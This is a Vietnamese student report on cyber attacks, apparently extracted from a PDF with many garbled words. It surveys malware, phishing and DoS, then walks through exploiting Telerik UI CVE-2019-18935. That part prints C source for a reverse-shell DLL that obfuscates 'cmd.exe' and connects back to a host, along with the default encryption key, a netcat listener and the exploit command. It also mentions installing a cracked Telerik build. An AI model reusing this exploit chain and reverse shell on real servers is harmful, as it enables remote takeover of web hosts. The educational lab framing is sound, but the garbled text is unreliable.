Tìm hiểu về tấn công mạng. Đề xuất phương án và mô phỏng kỹ thuật phát hiện và ngăn chặn tấn công mạng, tổng quan về tấn công mạng, các loại tấn công mạng phổ biến, thực hành 1 số hình thức tấn công mạng.
Tìm hiểu cơng mạng Đề xuất phương án mô kỹ thuật phát ngăn chặn cơng mạng CHƯƠNG I: TÌM HIỂU VỀ TẤN CƠNG MẠNG I Tổng quan công mạng Tấn cơng mạng gì? Khái niệm cơng mạng (hoặc “tấn công không gian mạng“) tiếng Anh Cyber attack (hoặc Cyberattack), ghép từ: Cyber (thuộc không gian mạng internet) attack (sự công, phá hoại) Tấn cơng mạng tất hình thức xâm nhập trái phép vào hệ thống máy tính, website, sở liệu, hạ tầng mạng, thiết bị cá nhân tổ chức thông qua mạng internet với mục đích bất hợp pháp Mục tiêu cơng mạng đa dạng, vi phạm liệu (đánh cắp, thay đổi, mã hóa, phá hủy), nhắm tới toàn vẹn hệ thống (gây gián đoạn, cản trở dịch vụ), lợi dụng tài nguyên nạn nhân (hiển thị quảng cáo, mã độc đào tiền ảo) Tấn công mạng khác với pentest (kiểm thử xâm nhập) Mặc dù việc xâm nhập vào hệ thống, nhiên công mạng xâm nhập trái phép gây hại cho nạn nhân, pentest xâm nhập với mục đích tìm điểm yếu bảo mật hệ thống để khắc phục Đối tượng bị cơng Đối tượng bị cơng cá nhân, doanh nghiệp, tổ chức nhà nước Hacker tiếp cận thông qua mạng nội (gồm máy tính, thiết bị, người) Trong yếu tố người, hacker tiếp cận thơng qua thiết bị mobile, mạng xã hội, ứng dụng phần mềm Mục đích cơng mạng Bên cạnh mục đích phổ biến trục lợi phi pháp, tống tiền doanh nghiệp, thị quảng cáo kiếm tiền, cịn tồn số mục đích khác phức tạp nguy hiểm hơn: cạnh tranh không lành mạnh doanh nghiệp, công an ninh kinh tế quốc gia, công đánh sập tổ chức tôn giáo, v.v Ngồi ra, số hacker cơng mạng để mua vui, thử sức, tò mò muốn khám phá vấn đề an ninh mạng chức từ giải pháp phịng chống, ngăn chặn đe dọa từ tin tặc Tích cực: Tìm lỗ hổng bảo mật, nguy cơng mạng cho cá nhân tổ chức từ giải pháp phòng chống, ngăn chặn đe dọa từ tin tặc Tiêu cực: Phá hoại, lừa đảo tống tiền, mua vui, đe dọa nạn nhân Ví dụ 1: Trong hệ thống mạng LAN (mạng nội bộ), tin tặc xâm nhập vào hệ thống cơng ty Hacker đóng vai người dùng thật hệ thống, sau tiến hành xâm nhập vào tệp chứa tài liệu bí mật cơng ty tài Tin tặc rút số tiền đó, thay đối số, ẩn file… Ví dụ 2: Một học sinh lớp công vào website sân bay Việt Nam với mục đích mua vui Ví dụ 3: Vụ mã độc WannaCry công hàng loạt doanh nghiệp Việt Nam địi tiền chuộc Ví dụ 4: Kẻ cơng đột nhập vào máy tính bạn thông qua phần mềm gián điệp để nghe tin nhắn, xóa file liệu II Các kiểu công mạng phổ biến Malware (Phần mềm độc hại) Malware gì? Malware (hay phần mềm độc hại) thuật ngữ mô tả chương trình mã độc có khả cản trở hoạt động bình thường hệ thống cách xâm nhập, kiểm sốt, làm hỏng vơ hiệu hóa hệ thống mạng, máy tính, máy tính bảng thiết bị di động… Mặc dù không gây hư hỏng phần cứng Malware đánh cắp, mã hóa xóa liệu, thay đổi chiếm quyền điều khiển chức theo dõi hoạt động máy tính mà khơng cần cho phép bạn Dấu hiệu nhận biết Malware Khi thiết bị nhiễm Malware, bạn nhận thấy dấu hiệu sau: - Máy tính chạy chậm, tốc độ xử lý hệ điều hành giảm cho dù bạn điều hướng Internet hay sử dụng ứng dụng cục - Bạn bị làm phiền quảng cáo pop-up, mà cụ thể Adware - Hệ thống liên tục gặp cố, bị đóng băng hiển thị BSOD – hình xanh (đối với Windows) - Dung lượng ổ cứng giảm bất thường - Hoạt động Internet hệ thống tăng cao không rõ nguyên nhân - Tài nguyên hệ thống tiêu hao bất thường, quạt máy tính hoạt động hết cơng suất - Trang chủ trình duyệt mặc định thay đổi mà khơng có cho phép bạn Các liên kết bạn nhấp vào chuyển hướng bạn đến trang không mong muốn - Các cơng cụ, tiện ích mở rộng plugin thêm vào trình duyệt - Các chương trình anti-virus ngừng hoạt động không cập nhật - Bạn nhận thơng báo địi tiền chuộc từ Malware, khơng liệu bạn bị xóa Tuy nhiên, vài trường hợp, thiết bị bị nhiễm Malware hoạt động bình thường, khơng có dấu hiệu cụ thể Cách Malware xâm nhập vào thiết bị Trong trình sử dụng Internet, thao tác sau khiến bạn bị nhiễm Malware: - Truy cập trang web độc hại, tải trò chơi, file nhạc nhiễm Malware, cài đặt công cụ/phần mềm từ nhà cung cấp lạ, mở tệp đính kèm email độc hại (malspam) liệu tải xuống không quét phần mềm bảo mật - Tải nhầm ứng dụng độc hại ngụy trang dạng ứng dụng hợp pháp Bạn cần ý thông báo cảnh báo cài đặt ứng dụng, đặc biệt ứng dụng yêu cầu quyền truy cập email thông tin cá nhân - Tải ứng dụng nguồn không đáng tin cậy Bạn tải ứng dụng trực tiếp từ nhà cung cấp thức cảnh giác trước phần mềm tăng tốc Internet, trình quản lý tải xuống, trình dọn ổ đĩa dịch vụ tìm kiếm thay thế… - Vơ tình cài đặt phần mềm bổ sung kèm với ứng dụng (potentially unwanted program) chứa Malware Chương trình giới thiệu cần thiết trình cài đặt thực tế lại khơng Ngồi ra, việc khơng sử dụng chương trình bảo mật lý khiến Malware xâm nhập dễ dàng Các loại Malware phổ biến Adware, Spyware, Virus, Trojan, Worms, Ransomware, Rootkit, Keylogger, Malicious cryptomining, Exploits loại Malware phổ biến - Adware thường hiển thị quảng cáo pop-up lên hình bạn duyệt web Adware thường ngụy trang dạng phần mềm hợp pháp kèm với chương trình khác để lừa bạn cài đặt - Spyware phần mềm gián điệp bí mật quan sát trái phép hoạt động người dùng máy tính gửi báo cáo cho hacker - Virus thường ẩn chương trình khác kích hoạt, thay đổi chương trình hệ thống lây lan mã code - Tương tự Virus, Worms có khả tự chép để lây lan sang máy tính khác qua mạng Internet, thường gây hại cách phá hủy liệu - Trojan thường giả dạng ứng dụng hữu ích để đánh lừa bạn, giúp hacker chiếm quyền truy cập trái phép vào máy tính để đánh cắp thơng tin cài đặt thêm Malware khác - Được mua dễ dàng từ hacker, Ransomware ngăn bạn truy cập vào thiết bị mã hóa liệu, sau buộc bạn phải trả tiền chuộc để lấy lại chúng Ransomware xem vũ khí tội phạm mạng thường dùng phương thức tốn nhanh chóng tiền điện tử - Rootkit thiết kế để ẩn khỏi người dùng, hệ điều hành phần mềm khác, giúp hacker chiếm quyền quản trị hệ thống - Keylogger ghi lại thao tác người dùng bàn phím gửi cho hacker liệu nhạy cảm tên người dùng, mật khẩu, thơng tin thẻ tín dụng - Malicious cryptomining dạng mã độc phổ biến thường cài đặt Trojan, cho phép hacker sử dụng tài nguyên máy tính bạn để đào tiền điện tử Bitcoin Monero - Exploits lợi dụng lỗi lỗ hổng để hacker kiểm sốt hệ thống Nó thường liên kết với Adware hiển thị trang web hợp pháp lừa bạn cài đặt vào máy tính Mục tiêu Malware Adware, Spyware, Keyloggers Malvertising nhắm tới thiết bị kết nối với tài khoản ngân hàng, tài khoản mua bán liệu quan trọng khác Cyptominers ransomware thường có chung đối tượng mục tiêu cá nhân, doanh nghiệp, cửa hàng bán lẻ, bệnh viện chí hệ thống quyền Mobile spyware khơng nhắm đến người tiêu dùng thơng thường mà cịn công doanh nghiệp, tổ chức Thông qua lỗ hổng smart phone/tablet nhân viên, mobile spyware lây lan cho tồn hệ thống Ngồi ra, ứng dụng độc hại Apple’s App Store hay Google Play đánh cắp thơng tin, spam quảng cáo, tống tiền buộc người dùng thực hoạt động khơng mong muốn khác Cách phịng tránh - Cảnh giác với website có tên miền kết thúc tập hợp chữ riêng lẻ (không phải đuôi com, org, edu, biz,…) - Chú ý đến dấu hiệu nhiễm Malware thiết bị từ đầu để để ngăn chặn xâm nhập - Tránh nhấp vào quảng cáo pop-up lướt web - Khơng mở file lạ đính kèm email - Không tải phần mềm từ trang web không đáng tin cậy - Thường xuyên cập nhật hệ điều hành, trình duyệt plugin - Chỉ tải xuống ứng dụng có thứ hạng số lượt tải xuống cao từ Google Play Store, Apple’s App Store - Không tải xuống ứng dụng từ nguồn bên thứ ba Nếu dùng Android, bạn vào Cài đặt -> Bảo mật -> Tắt nguồn không xác định để tránh cài đặt phải ứng dụng từ bên khác - Không nhấp vào liên kết lạ, liên kết không xác định email, văn tin nhắn… - Các doanh nghiệp nên triển khai giải pháp bảo mật di động để bảo vệ an toàn cho hệ thống mạng nội - Sử dụng chương trình chống Malware mạnh mẽ với nhiều lớp bảo vệ, quét phát Adware, Spyware, ngăn chặn Ransomware cung cấp cách khắc phục lỗi Malware gây cho hệ thống Phishing (Lừa đảo) Phishing ? Phishing hành vi lừa đảo gây tội phạm mạng, nhằm mục đích thu thập, chia sẻ thông tin nhạy cảm người dùng mật thơng tin thẻ tín dụng Tương tự cách câu cá, phishing hoạt động cách “thả mồi” lừa nạn nhân sau thu thập thơng tin Hình thức phổ biến thường gặp là: Bạn nhận email tin nhắn giả mạo cá nhân/tổ chức đáng tin cậy (đồng nghiệp, ngân hàng văn phịng phủ) Khi mở email tin nhắn, bạn tìm thấy thơng điệp nghiêm trọng yêu cầu bạn truy cập vào website mail lập tức, không gặp phải hậu Nếu nhấp vào liên kết, bạn chuyển đến website giả mạo website hợp pháp yêu cầu đăng nhập tên người dùng mật Nếu làm theo, hacker có thơng tin đăng nhập bạn sử dụng để đánh cắp liệu cá nhân, tài khoản ngân hàng bán thông tin thị trường chợ đen Phishing loại công mạng đơn giản nhất, đồng thời nguy hiểm hiệu Khác với hình thức lừa đảo khác, hacker Phishing không cố gắng khai thác lỗ hổng bảo mật hệ thống, thay vào dùng “social engineering” để lừa người dùng tự trao thông tin cá nhân cho mình! Các kiểu cơng phishing - Spear phishing : Spear phishing công cá nhân tổ chức cụ thể, với nội dung thiết kế riêng cho nạn nhân Điều đòi hỏi hacker phải thu thập đối chiếu thông tin nạn nhân (tên, chức danh, email, tên đồng nghiệp, mối quan hệ…) để tạo email lừa đảo đáng tin cậy! Spear phishing mối đe dọa nghiêm trọng doanh nghiệp, phủ gây thiệt hại lớn Một báo cáo năm 2016 nói Spear phishing chịu trách nhiệm cho 38% công mạng vào doanh nghiệp năm 2015, công gây thiệt hại trung bình $1,8 tỷ cho doanh nghiệp Mỹ - Clone phishing : Với Clone phishing, hacker chép email hợp pháp, thay đường dẫn tệp đính kèm email Khi người dùng nhấp vào liên kết mở tệp đính kèm, tài khoản họ bị hacker kiểm sốt Sau đó, hacker giả mạo danh tính nạn nhân để thực phishing tổ chức nạn nhân - 419/Nigeria scam : Email phishing đến từ hoàng tử Nigeria vụ lừa đảo lâu đời Internet Nigeria scam email đến từ người tự xưng quan chức phủ thành viên gia đình hồng gia, cần giúp đỡ để chuyển hàng triệu đô khỏi ngân hàng Nigeria Email dạng thường đánh dấu “khẩn cấp” “riêng tư”, yêu cầu người nhận cung cấp số tài khoản ngân hàng để chuyển tiền tiền Con số “419” đề cập đến Bộ luật hình Nigeria liên quan đến gian lận, cáo buộc hình phạt cho người phạm tội - Phone phishinh: Hình thức lừa đảo qua điện thoại gọi là”voice phishing” “vishing.” Các phisher tự xưng đại diện ngân hàng, sở cảnh sát, chí IRS địa phương bạn sinh sống Họ đe dọa yêu cầu bạn cung cấp thông tin tài khoản nộp phạt qua chuyển khoản thẻ trả trước để tránh bị theo dõi Lừa đảo qua tin nhắn SMS (smishing) thực tương tự thông qua tin nhắn Man-In-The-Middle Attack (Tấn cơng trung gian) Tấn cơng MitM, cịn gọi công nghe lén, xảy kẻ cơng xâm nhập vào sửa đổi trò chuyện/đối thoại ứng dụng giao tiếp với Loại hình xảy khi: Người dùng truy cập vào mạng Wifi công cộng, khơng an tồn Thực thơng qua phần mềm độc hại khác Denial-of-Service Attack (Tấn công từ chối dịch vụ) Mơ hình chung Mục tiêu DoS - Cố gắng chiếm băng thông mạng làm hệ thống mạng bị ngập (Flood), hệ thống mạng khơng có khả đáp ứng dịch vụ khác cho người dùng bình thường - Cố gắng làm ngắt kết nối hai máy, ngăn chặn trình truy cập vào dịch vụ - Cố găng ngặn chặn người dùng cụ thể vào dịch vụ - Cố gắng ngăn chặn dịch vụ khơng cho người khác có khả truy cập vào Hậu - Hệ thống , máy chủ bị Dos khiến người dùng truy cập - Doanh nghiệp sở hữu máy chủ, hệ thống bị doanh thu , chưa kể đến khoản chi phí cần phải bỏ để khắc phục cố - Khi mạng sập, công việc yêu cầu mạng thực hiện, làm gián đoạn công việc, ảnh hưởng đến hiệu suất công việc - Nếu người dùng truy cập website sập ảnh hưởng đến danh tiếng công ty, website sập thời gian dài người dùng bỏ đi, lựa chọn dịch vụ khác thay - Đối với cơng DoS kỹ thuật cao dẫn đến việc lấy trộm tiền bạc, liệu khách hàng cơng ty Các hình thức công - Smurf: loại công DoS điển hình Máy attacker gửi nhiều lệnh ping đến số lượng lớn máy tính thời gian ngắn, địa hỉ IP nguồn gói ICMP echo thay địa IP nạn nhân Kết đích cơng phải chịu nhận đợt Reply gói ICMP cực lớn làm cho mạng bị rớt bị cậm lại, khơng có khả đáp ứng dịch vụ khác - Teardrop(IP Fragmentation Attack) Trong mạng gói liệu chi thành nhiều gói tin nhỏ, gói tin nhỏ, gói tin có giá trị offset riêng truyền theo nhiều đường khác tới địch Tại đích, nhờ vào giá trị offset gói mà liệu lại kết hợp lại ban đầu Lợi dụng điều này, hacker tạo nhiều gói tin có giá trị offset trùng lặp gửi đến mục tiêu cơng Kết máy tính đích khơng thể xếp gói tin dẫn tới bị treo máy bị “vắt kiệt” khả xử lí - SYN Attack Kẻ cơng gửi yêu ầu (request ảo) TCP SYN tới máy chủ bị cơng Để xử lí lượng gói tin SYN hệ thống cần tốn luongj nhớ cho kết nối Khi có nhiều gói SYN ảo tới máy chủ chiếm hết yêu cầu xử lí máy chủ Một người dùng bình thường kết nối tơi máy chủ ban đầu thực Request TCP SYN lúc máy chủ khả đáp lại kết nối không thực Bước 1: Client gửi gói tin (packet chứa SYN = 1) đến máy chủ để yêu cầu kết nối Bước 2: Khi nhận gói tin này, server gửi lại gói tin SYN/ACK để thơng báo cho client biết nhận yêu cầu kết nối chuẩn bị tài nguyên cho yêu cầu này.Server giành phần tài nguyên hệ thống cache để nhận truyền số liệu Ngồi thơng tin khác client địa IP cà port ghi nhận Bước 3: cuối cùng, client hoàn tất việc bắt tay ba lần cách hồi âm lại gói tin chứa ACK cho server tiến hành kết nối Do TCP thủ tục tin cậy việc giao nhận (eng-to-end) nên lần bắt tay thứ hai, server gửi gói tin SYN/ACK trả lời lại client mà không nhận lại hồi âm client để thực hiên kết nối thì: Nó bảo lưu lại nguồn tài nguyên chuẩn bị kết nối Lặp lại việc gửi gói tin SYN/ACK cho client đến nhận hồi đáp máy client - Zero-day DoS Attacks Zero-day DoS Attacks tên đặt cho phương pháp công DoS mới, khai thác lỗ hổng chưa vá Có thể làm gián đoạn dịch vụ mà khơng cần sử dụng nhiều bót - UDP Flood: Là giao thức mạng không sesion Một UDP Flood nhắm đến cổng ngẫu nhiên máy tính mạng với gói tin UDP Máy chủ kiểm tra ứng dụng cổng khơng tìm thấy ứng dụng - HTTP Flood: gần giống với GET POST hợp pháp khai thác hacker Nó sử dụng băng thơng loại cơng khác buộc máy chủ sử dụng nguồn lực tối đa - Ping of Death: điều khiển giao IP cách gửi đoạn mã độc đến hệ thống Đây loại DoS phổ biến cách hai thập kỉ nhung khơng cịn hiệu thời điểm - Slowloris: cho phép kẻ công sử dụng nguồn lực tối thiểu công mực tiêu máy chủ web Khi kết nối với mục tiêu mong muốn, Slowloris giữ liên kết lâu tốt với HTTP Flood Kiểu công sử dụng số DoSing kiểu hacktivist(tấn cơng mục tiêu trị) cao cấp, bao gồm bầu cử tổng thống Iran năm 2009 Việc giảm thiểu ảnh hưởng với loại hình cơng khó khăn Cách để phịng chống máy tính cá nhân trở thành Botnet - Cài đặt trì phần mềm chống virus - Cài đặ tường lwuar cấu hình để giươi hạn lượng đến từ máy tính - Làm theo hướng dẫn thực hành an toàn phân phối địa email - DÙng lọc email để giúp quản lí lưu lượng khơng mong muốn Nhận biết công DoS - Thực thi mạng chậm cách bất thường (mở file hay truy cập website) - Không vào website - Khơng truy cập đến website - Số lượng thư rác tăng lên cách đột biến tài khoản SQL Injection Attack CHƯƠNG 2: THỰC HÀNH MỘT SỐ TẤN CƠNG MẠNG I Tấn cơng khai thác lỗ hổng framework sử dụng Telerik UI for ASP.Net AJAX – CVE-2019-18935 (Remote Code Execution via Insecure Deserialization) Tổng quan Telerik UI for ASP.NET - Telerik UI for ASP.NET thư viện phổ biến chuyên phát triển giao diện cho Website, xây dựng tảng NET - Telerik cung cấp nhiều loại sản phẩm sử dụng để cung cấp chức sử dụng trang web Trong số trường hợp, sản phẩm Telerik cài đặt thành phần bên thứ ba bao gồm ứng dụng web đó, vơ tình sử dụng - Từ năm 2014 đến nay, thư viện thường bị phát lỗ hổng bảo mật nghiêm trọng, cho phép Hacker cơng chiếm quyền điều khiển hệ thống - RadAsyncUpload, trình xử lý tệp Telerik UI for ASP.NET AJAX, cho phép người dùng upload file lên máy chủ mà không cần phải tải lại trang (upload file không đồng bộ) Khi người dùng upload file qua module này, POST Request tạo tới đường dẫn tương đối /Telerik.Web.UI.WebResource.axd?type=rau với nội dung POST body sau: rauPostData (đối tượng lưu cấu hình chi tiết cách tệp xử lý) blob (nội dung file upload) fileName (tên file upload) contentType (mimetype file upload) lastModifiedDate metadata (đối tượng JSON chứa kích cỡ tên tạm thời ‘UploadID’ tệp upload) - RadAsyncUpload chứa lỗ hổng NET deserialization Điều khai thác khóa mã hóa biết đến diện CVE-2017-11317, CVE- 2017-11357 CVE-2019-18935, lỗ hổng đánh giá nghiêm trọng Khai thác dẫn đến thực thi mã từ xa - Quá trình Serialization Deserialization đối tượng: Serialization q trình chuyển đổi trạng thái thơng tin đối tượng thành hình thức lưu trữ truyền Các thông tin chuyển đổi lưu trữ đĩa Trong trình truyền qua mạng, dạng byte, XML, JSON,… Deserialization trình ngược lại trình serialization, thực lấy liệu từ định dạng có cấu trúc, khơi phục thơng tin theo byte, XML, JSON, thành đối tượng - Các phiên bị ảnh hưởng: Các phiên Telerik UI trước 2019.3.1023 có khả bị ảnh hưởng lỗ hổng Mức độ ảnh hưởng: Hacker lợi dụng lỗ hổng để chiếm quyền điều khiển máy chủ cài đặt Telerik UI Các lỗ hổng RadAsyncUpload Nguyên nhân gây lỗ hổng: Trước đó, module RadAsyncUpload có tồn lỗ hổng CVE-2014-2217 cho phép upload file tùy ý lên máy chủ Telerik khắc phục vấn đề cách kiểm tra tên file để đảm bảo khơng chứa ký tự “ /” thêm cấu hình web.config Các cấu hình bao gồm ‘ConfgurationEncryptionKey’ ‘ConfigurationHashKey’, thiết để để đảm bảo tính bí mật tính tồn vẹn thơng tin nhạy cảm (chẳng hạn thư mục đích máy chủ web lưu file upload) Theo đó, tham số rauPostData POST body mã hóa thay dạng rõ Tuy nhiên, với Telerik UI for ASP.NET AJAX phiên trước R1 2017 R2 trước R2 2017 SP2, lập trình viên khơng tùy chỉnh khóa mã hóa, khóa mặc định cố định sử dụng Dùng công cụ JetBrains dotPeek để decompile Telerik.Web.UI.dll, ta thấy giá trị khóa mặc định “PrivateKeyForEncryptionOfRadAsyncUploadConfiguration“ Mức độ ảnh hưởng: Nếu máy chủ sử dụng cấu hình RadAsyncUpload mặc định, kẻ cơng dùng khóa mặc định để giải mã, đọc, sửa đổi, giả mạo đối tượng rauPostData Do đối tượng chứa tham số để định thư mục lưu file upload, kẻ xấu giả mạo giá trị này, upload file tùy ý vào vị trí mong muốn lên máy chủ Phương thức phá vỡ lớp bảo mật mã hóa mà trình xử lý sử dụng để bảo vệ POST request để tải lên tệp lỗ hổng CVE-2017-11317 a, CVE-2017-11317 (Unrestricted File Upload via Weak Encryption) - Điều kiện tiên để thực thi lỗ hổng CVE-2019-18935 - Telerik UI cho ASP.NET AJAX trước R2 2017 SP2, class AsyncUploadHandler cấu hình mã hóa cứng (hard-coded) sử dụng để mã hóa form data request tải tệp lên máy chủ - Sau nhập, chương trình chuyển đoạn rauPostData mã hóa thơng qua hai lần giải mã Việc giải mã tiết lộ khối tham số theo định dạng khóa / cặp Một tham số TempTargetFolder, mã hóa Chương trình phân tích giá trị giải mã lần để có đường dẫn tải lên tệp - Bắt đầu từ năm 2017, Telerik bao gồm HMAC gắn vào cuối giá trị TempTargetFolder Chương trình cố gắng phát HMAC nối thêm Nếu phát hiện, xác định nơi đường dẫn tệp mã hóa dừng HMAC bắt đầu, sau phân tích hai giá trị - Khi kết thúc trình giải mã xử lý với HMAC, chương trình đưa đường dẫn tệp tải lên xác máy chủ web sử dụng Sau đó, nhắc bạn nhập đường dẫn tệp mới, nơi bạn muốn tệp độc hại tải lên => Mục tiêu để có tệp độc hại tải lên gốc web, truy cập trang khiến thực thi - Nếu giá trị mặc định khóa mã hóa: PrivateKeyForEncryptionOfRadAsyncUploadConfiguration khơng thay đổi, kẻ cơng sử dụng khóa để tạo POST request /Telerik.Web.Ui.WebResource.axd?type=rau yêu cầu tải lên tệp với tham số mã hóa rauPostData Sau đó, hacker định giá trị cho biến TempTargetFolder tham số rauPostData mã hóa, xác nhận thêm tính xác đường dẫn (Thuật tốn mã hóa HMACSHA256), tin tặc có tồn quyền cho phép upload file thư mục mà máy chủ web có quyền ghi Tham khảo tạo link để hiểu rõ cấu trúc rauPostData https://github.com/straightblast/UnRadAsyncUpload/wiki - Khi người dùng tải lên tệp thông qua mơ-đun RadAsyncUpload, tạo u cầu dựa POST cho đường dẫn tương đối sau: “/Telerik.Web.UI.WebResource.axd?type=rau” Văn mã hóa RauPostData thực có hai phần phân tách dấu ‘&’ Phần chứa đường dẫn tệp tải lên, độ dài nội dung, thời gian phần mở rộng tệp phép Phần thứ hai chứa thông tin phiên Telerik.Web.UI PublicKeyToken b, CVE-2019-18935 (Remote Code Execution via Insecure Deserialization) - Dù lỗ hổng unrestricted file upload (CVE-2017-11317) biết đến rộng rãi kể từ phát vào năm 2017, người ta nghiên cứu sâu vào cách mà RadAsyncUpload xử lý tham số rauPostData request upload file vào đầu năm 2019 phát rauPostData chứa thông tin cấu hình object cần chuyển đổi object type (kiểu liệu mong muốn để chuyển đổi) Tuy nhiên, ngôn ngữ Net tự làm việc với object mà client truyền lên được, mà phải chuyển đổi lại Để làm điều này, cần phân định kiểu trước truyền vào hàm JavaScriptSerializer.Deserialize() Ở đây, AsyncUploadHandler lấy type từ rauPostData để truyền vào hàm Deserialize() - Khai thác NET JavaScriptSerializer Vấn đề giải nén thơng qua RadAsyncUpload dẫn đến việc thực thi mã độc máy chủ bối cảnh quy trình w3wp.exe (w3wp.exe xử lý yêu cầu web gửi đến máy chủ web IIS cho nhóm ứng dụng IIS định cấu hình) - Trong trình deserialize, JavaScriptSerializer gọi đến phương thức setter cho object type riêng biệt object type bị kẻ cơng kiểm sốt, kịch nguy hiểm xảy hacker sử dụng gadget để tiến hành cơng hệ thống Thay gửi type Telerik.Web.UI.AsyncUploadConfiguration thông thường rauPostData, kẻ công POST request upload tập tin định type dạng RCE gadget Sau lợi dụng lỗ hổng unrestricted file upload (CVE-2017-11317) để tải lên hệ thống file Mixed Mode Assembly DLL độc hại, kẻ công tiếp tục request thứ hai chứa nhằm mục đích ép JavaScriptSerializer deserialize object có type System.Configuration.Install.AssemblyInstaller Khi server chạy hàm Deserialize() với Path kẻ công gắn vào trỏ tới file DLL tải lên, máy chủ tải file DLL tới domain hàm DLLMain() gọi đến file DLL load thành công Cài đặt trường - Cấu trúc file object sử dụng để upload - Sử dụng visual code 2017 có cài ASP.NET xây dựng Web sử dụng Telerik UI v.2019.3.917 Bước 1: Tạo Project sử dụng webform Bước 2: Cài đặt telerik UI ASP.NET tùy theo version (Sử dụng crack version 2019.3.917): Toolbox -> Chuột phải vào General -> Chooses Items -> NET Framework Components -> Brows -> (Chọn thư mục vừa cài đặt default: ‘C:\Program Files (x86)\Progress\Telerik UI for ASP.NET AJAX R3 2018\Bin45’ Bin45 net sử dụng framwork 4.5 ngồi cịn 4.0, 3.5) Chọn ‘Telerik.Web.UI.dll’ -> OK Trong Solutiomn Explorer -> chuột phải vào References -> Add References -> Browse -> Chọn file Telerik.Web.UI.Skins.dll -> Add -> OK Bước 3: Edit file Web.config với nội dung sau, xác định key mã hóa giá trị mặc định PrivateKeyForEncryptionOfRadAsyncUploadConfiguration: at: https://docs.telerik.com/devtools/aspnet- verb="*" Chuột phải vào tên Object -> Publish -> IIS, FTP server -> config hình sau: Next -> Save Chú ý: Nếu có file deploy sẵn việc tạo website IIS Cấu hình IIS: Click "Start button" in the search box, enter "Turn windows features on or off" in the features window, Click: "Internet Information Services" Click: "World Wide Web Services" Click: "Application Development Features" Check (enable) the features I checked all but CGI Kịch RCE - Chỉnh sửa host post rev_shell.c #include #include #include #pragma comment(lib, "ws2_32") #define HOST "192.168.133.1" #define PORT 80 WSADATA wsaData; SOCKET Winsock; SOCKET Sock; struct sockaddr_in hax; char aip_addr[16]; STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; // Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple %20Reverse%20Shell/shell.c void ReverseShell() { WSAStartup(MAKEWORD(2, 2), &wsaData); Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); struct hostent *host = gethostbyname(HOST); strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(PORT); hax.sin_addr.s_addr = inet_addr(aip_addr); WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); if (WSAGetLastError() == 0) { memset(&ini_processo, 0, sizeof(ini_processo)); ini_processo.cb = sizeof(ini_processo); ini_processo.dwFlags = STARTF_USESTDHANDLES; ini_processo.hStdInput (HANDLE)Winsock; = ini_processo.hStdOutput = ini_processo.hStdError = char *myArray[4] = { "cm", "d.e", "x", "e" }; char command[8] = ""; snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]); CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info); } } DWORD WINAPI MainThread(LPVOID lpParam) { ReverseShell(); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { HANDLE hThread; if (fdwReason == DLL_PROCESS_ATTACH) hThread = CreateThread(0, 0, MainThread, 0, 0, 0); return TRUE; } - Tạo file dll từ code c tạo build_dll.bat rev_shell.c - Mở cổng netcat lắng nghe reverse shell kết nối: sudo nc -lvp - Thực thi payload tạo python3 CVE-2019-18935.py -v 2019.3.917 -p -u II Thực hành Slowloris attack